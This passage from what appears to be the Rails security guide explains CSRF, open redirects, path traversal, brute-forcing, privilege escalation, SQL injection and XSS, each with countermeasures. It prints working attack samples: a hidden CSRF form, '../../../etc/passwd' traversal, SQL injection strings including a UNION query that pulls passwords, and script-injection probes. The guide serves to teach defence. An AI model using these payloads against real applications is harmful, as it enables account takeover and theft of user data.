<p>If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden <code>_method</code> field to handle this barrier.</p><p><em>POST requests can be sent automatically, too</em>. Here is an example for a link which displays <a href="http://www.harmless.com">www.harmless.com</a> as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.</p><div class="code_container">
<pre class="brush: xml; gutter: false; toolbar: false">
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
</pre>
</div>
<p>Or the attacker places the code into the onmouseover event handler of an image:</p><div class="code_container">
<pre class="brush: xml; gutter: false; toolbar: false">
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
</pre>
</div>
<p>There are many other possibilities, like using a <code><script></code> tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site <code><script></code> tags. Only Ajax requests may have JavaScript responses since XmlHttpRequest is subject to the browser Same-Origin policy - meaning only your site can initiate the request.</p><p>To protect against all other forged requests, we introduce a <em>required security token</em> that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
protect_from_forgery
</pre>
</div>
<p>This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, the session will be reset.</p><p>It is common to use persistent cookies to store user information, with <code>cookies.permanent</code> for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
def handle_unverified_request
super
sign_out_user # Example method that will destroy the user cookies.
end
</pre>
</div>
<p>The above method can be placed in the <code>ApplicationController</code> and will be called when a CSRF token is not present on a non-GET request.</p><p>Note that <em>cross-site scripting (XSS) vulnerabilities bypass all CSRF protections</em>. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.</p><h3 id="redirection-and-files">4 Redirection and Files</h3><p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p><h4 id="redirection">4.1 Redirection</h4><div class="warning"><p><em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack.</em></p></div><p>Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <a href="http://www.example.com/site/redirect?to=">http://www.example.com/site/redirect?to=</a> <a href="http://www.attacker.com">www.attacker.com</a>. Here is an example of a legacy action:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
def legacy
redirect_to(params.update(action:'main'))
end
</pre>
</div>
<p>This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
</pre>
</div>
<p>If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <em>include only the expected parameters in a legacy action</em> (again a whitelist approach, as opposed to removing unexpected parameters). <em>And if you redirect to an URL, check it with a whitelist or a regular expression</em>.</p><h5 id="self-contained-xss">4.1.1 Self-contained XSS</h5><p>Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:</p><p><code>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</code></p><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, <em>do not allow the user to supply (parts of) the URL to be redirected to</em>.</p><h4 id="file-uploads">4.2 File Uploads</h4><div class="note"><p><em>Make sure file uploads don't overwrite important files, and process media files asynchronously.</em></p></div><p>Many web applications allow users to upload files. <em>File names, which the user may choose (partly), should always be filtered</em> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p><p>When filtering user input file names, <em>don't try to remove malicious parts</em>. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which <em>checks for the validity of a file name with a set of accepted characters</em>. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the <a href="https://github.com/technoweenie/attachment_fu/tree/master">attachment_fu plugin</a>:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
# get only the filename, not the whole path
name.sub! /\A.*(\\|\/)/, ''
# Finally, replace all non alphanumeric, underscore
# or periods with underscore
name.gsub! /[^\w\.\-]/, '_'
end
end
</pre>
</div>
<p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <em>vulnerability to denial-of-service attacks</em>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p><p>The solution to this is best to <em>process media files asynchronously</em>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p><h4 id="executable-code-in-file-uploads">4.3 Executable Code in File Uploads</h4><div class="warning"><p><em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory.</em></p></div><p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.</p><p><em>If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it</em>, store files at least one level downwards.</p><h4 id="file-downloads">4.4 File Downloads</h4><div class="note"><p><em>Make sure users cannot download arbitrary files.</em></p></div><p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
send_file('/var/www/uploads/' + params[:filename])
</pre>
</div>
<p>Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to <em>check that the requested file is in the expected directory</em>:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'
</pre>
</div>
<p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p><h3 id="intranet-and-admin-security">5 Intranet and Admin Security</h3><p>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</p><p>In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
</p><p><strong>XSS</strong> If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.</p><p>Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.</p><p>Refer to the Injection section for countermeasures against XSS. It is <em>recommended to use the SafeErb plugin</em> also in an Intranet or administration interface.</p><p><strong>CSRF</strong> Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.</p><p>A real-world example is a <a href="http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352">router reconfiguration by CSRF</a>. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.</p><p>Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.
</p><p>Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.</p><p>For <em>countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section</em>.</p><h4 id="additional-precautions">5.1 Additional Precautions</h4><p>The common admin interface works like this: it's located at <a href="http://www.example.com/admin">www.example.com/admin</a>, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p>
<ul>
<li><p>It is very important to <em>think about the worst case</em>: What if someone really got hold of my cookie or user credentials. You could <em>introduce roles</em> for the admin interface to limit the possibilities of the attacker. Or how about <em>special login credentials</em> for the admin interface, other than the ones used for the public part of the application. Or a <em>special password for very serious actions</em>?</p></li>
<li><p>Does the admin really have to access the interface from everywhere in the world? Think about <em>limiting the login to a bunch of source IP addresses</em>. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.</p></li>
<li><p><em>Put the admin interface to a special sub-domain</em> such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, <a href="http://www.application.com">www.application.com</a>, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on <a href="http://www.application.com">www.application.com</a> may not read the cookie for admin.application.com and vice-versa.</p></li>
</ul>
<h3 id="user-management">6 User Management</h3><div class="note"><p><em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p></div><p>There are a number of authentication plug-ins for Rails available. Good ones, such as the popular <a href="https://github.com/plataformatec/devise">devise</a> and <a href="https://github.com/binarylogic/authlogic">authlogic</a>, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in <code>has_secure_password</code> method which has similar features.</p><p>Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=
</pre>
</div>
<p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
User.find_by_activation_code(params[:id])
</pre>
</div>
<p>If the parameter was nil, the resulting SQL query will be</p><div class="code_container">
<pre class="brush: sql; gutter: false; toolbar: false">
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
</pre>
</div>
<p>And thus it found the first user in the database, returned it and logged them in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <em>It is advisable to update your plug-ins from time to time</em>. Moreover, you can review your application to find more flaws like this.</p><h4 id="brute-forcing-accounts">6.1 Brute-Forcing Accounts</h4><div class="note"><p><em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.</em></p></div><p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.</p><p>Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.</p><p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p><p>In order to mitigate such attacks, <em>display a generic error message on forgot-password pages, too</em>. Moreover, you can <em>require to enter a CAPTCHA after a number of failed logins from a certain IP address</em>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p><h4 id="account-hijacking">6.2 Account Hijacking</h4><p>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.</p><h5 id="passwords">6.2.1 Passwords</h5><p>Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, <em>make change-password forms safe against CSRF</em>, of course. And <em>require the user to enter the old password when changing it</em>.</p><h5 id="e-mail">6.2.2 E-Mail</h5><p>However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure <em>require the user to enter the password when changing the e-mail address, too</em>.</p><h5 id="other">6.2.3 Other</h5><p>Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <em>review your application logic and eliminate all XSS and CSRF vulnerabilities</em>.</p><h4 id="captchas">6.3 CAPTCHAs</h4><div class="info"><p><em>A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot.</em></p></div><p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="https://github.com/ambethia/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the API.</p><p>You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.</p><p>Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.</p><p>Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:</p>
<ul>
<li>position the fields off of the visible area of the page</li>
<li>make the elements very small or color them the same as the background of the page</li>
<li>leave the fields displayed, but tell humans to leave them blank</li>
</ul>
<p>The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p><p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder's <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p>
<ul>
<li>Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.</li>
<li>Randomize the field names</li>
<li>Include more than one honeypot field of all types, including submission buttons</li>
</ul>
<p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So <em>negative CAPTCHAs might not be good to protect login forms</em>.</p><h4 id="logging">6.4 Logging</h4><div class="warning"><p><em>Tell Rails not to put passwords in the log files.</em></p></div><p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <em>filter certain request parameters from your log files</em> by appending them to <code>config.filter_parameters</code> in the application configuration. These parameters will be marked [FILTERED] in the log.</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
config.filter_parameters << :password
</pre>
</div>
<h4 id="good-passwords">6.5 Good Passwords</h4><div class="info"><p><em>Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.</em></p></div><p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analyzed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p><p>password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.</p><p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p><p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <em>first letters of a sentence that you can easily remember</em>. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p><h4 id="regular-expressions">6.6 Regular Expressions</h4><div class="info"><p><em>A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.</em></p></div><p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
/^https?:\/\/[^\n]+$/i
</pre>
</div>
<p>This may work fine in some languages. However, <em>in Ruby ^ and $ match the <strong>line</strong> beginning and line end</em>. And thus a URL like this passes the filter without problems:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
javascript:exploit_code();/*
http://hi.com
*/
</pre>
</div>
<p>This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
link_to "Homepage", @user.homepage
</pre>
</div>
<p>The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.</p><p>To fix the regular expression, \A and \z should be used instead of ^ and $, like so:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
/\Ahttps?:\/\/[^\n]+\z/i
</pre>
</div>
<p>Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
# content should include a line "Meanwhile" anywhere in the string
validates :content, format: { with: /^Meanwhile$/, multiline: true }
</pre>
</div>
<p>Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the <strong>line</strong> beginning and line end in Ruby, and not the beginning and end of a string.</p><h4 id="privilege-escalation">6.7 Privilege Escalation</h4><div class="warning"><p><em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p></div><p>The most common parameter that a user might tamper with, is the id parameter, as in <code>http://www.domain.com/project/1</code>, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
@project = Project.find(params[:id])
</pre>
</div>
<p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, <em>query the user's access rights, too</em>:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
@project = @current_user.projects.find(params[:id])
</pre>
</div>
<p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <em>no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</em>.</p><p>Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. <em>JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</em>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p><h3 id="injection">7 Injection</h3><div class="info"><p><em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.</em></p></div><p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p><h4 id="whitelists-versus-blacklists">7.1 Whitelists versus Blacklists</h4><div class="note"><p><em>When sanitizing, protecting or verifying something, prefer whitelists over blacklists.</em></p></div><p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), <em>prefer to use whitelist approaches</em>:</p>
<ul>
<li>Use before_action only: [...] instead of except: [...]. This way you don't forget to turn it off for newly added actions.</li>
<li>Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.</li>
<li>Don't try to correct user input by blacklists:
<ul>
<li>This will make the attack work: "<sc<script>ript>".gsub("<script>", "")</li>
<li>But reject malformed input</li>
</ul>
</li>
</ul>
<p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p><h4 id="sql-injection">7.2 SQL Injection</h4><div class="info"><p><em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p></div><h5 id="introduction">7.2.1 Introduction</h5><p>SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
Project.where("name = '#{params[:name]}'")
</pre>
</div>
<p>This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:</p><div class="code_container">
<pre class="brush: sql; gutter: false; toolbar: false">
SELECT * FROM projects WHERE name = '' OR 1 --'
</pre>
</div>
<p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p><h5 id="bypassing-authorization">7.2.2 Bypassing Authorization</h5><p>Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
</pre>
</div>
<p>If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:</p><div class="code_container">
<pre class="brush: sql; gutter: false; toolbar: false">
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
</pre>
</div>
<p>This will simply find the first record in the database, and grants access to this user.</p><h5 id="unauthorized-reading">7.2.3 Unauthorized Reading</h5><p>The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
Project.where("name = '#{params[:name]}'")
</pre>
</div>
<p>And now let's inject another query using the UNION statement:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
</pre>
</div>
<p>This will result in the following SQL query:</p><div class="code_container">
<pre class="brush: sql; gutter: false; toolbar: false">
SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --'
</pre>
</div>
<p>The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p><p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p><h5 id="sql-injection-countermeasures">7.2.4 Countermeasures</h5><p>Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <em class="highlight">Using <code>Model.find(id)</code> or <code>Model.find_by_some thing(something)</code> automatically applies this countermeasure</em>. But in SQL fragments, especially <em class="highlight">in conditions fragments (<code>where("...")</code>), the <code>connection.execute()</code> or <code>Model.find_by_sql()</code> methods, it has to be applied manually</em>.</p><p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
</pre>
</div>
<p>As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
Model.where(login: entered_user_name, password: entered_password).first
</pre>
</div>
<p>The array or hash form is only available in model instances. You can try <code>sanitize_sql()</code> elsewhere. <em>Make it a habit to think about the security consequences when using an external string in SQL</em>.</p><h4 id="cross-site-scripting-xss">7.3 Cross-Site Scripting (XSS)</h4><div class="info"><p><em>The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p></div><h5 id="entry-points">7.3.1 Entry Points</h5><p>An entry point is a vulnerable URL and its parameters where an attacker can start an attack.</p><p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live HTTP Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p><p>XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p><p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/mpack-uncovered/">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets.</p><p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p><h5 id="html-javascript-injection">7.3.2 HTML/JavaScript Injection</h5><p>The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. <em>Escaping user input is essential</em>.</p><p>Here is the most straightforward test to check for XSS:</p><div class="code_container">
<pre class="brush: xml; gutter: false; toolbar: false">
<script>alert('Hello');</script>
</pre>
</div>
<p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p><div class="code_container">
<pre class="brush: xml; gutter: false; toolbar: false">
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
</pre>
</div>
